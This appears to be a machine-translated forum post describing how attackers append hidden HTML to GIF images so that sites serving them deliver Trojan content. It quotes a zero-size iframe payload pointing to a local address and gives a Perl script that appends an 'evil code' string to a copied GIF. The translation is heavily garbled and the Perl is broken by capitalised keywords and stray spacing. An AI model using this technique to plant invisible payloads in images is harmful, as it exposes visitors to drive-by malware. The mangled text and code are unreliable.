What is the recent trend of Trojan horse mounting in GIF images?

Recently, several Trojan stations are found to have all mounted horses in the picture. Images in gif file format are appended to the image

The code is still displayed normally.

"Why? Listen 7? ? {D shoes; parameter; <iframe src = http: // 127.0.0.1/m.htm width = 0 height = 0> </iframe>"

Using a hexadecimal editor to edit, delete, or add images does not affect the image.

I still don't know about the gif file format. I will talk about it later when I am lazy.

==============^Xti9er ==================

#! Perl-w

My $ file = shift | die "Need file! ";
My $ ev = "edevil code ";
Open (OLD, "$ file") or die $ !;
Binmode (OLD );
Open (NEW, "> g.gif") or die $ !;
Binmode (NEW );
While (read (OLD, $ char, 1024 )){
Print NEW "$ char ";
}
Print NEW $ ev;
Close OLD;
Close NEW;

==============^Xti9er ==================

Write a code to implement this function.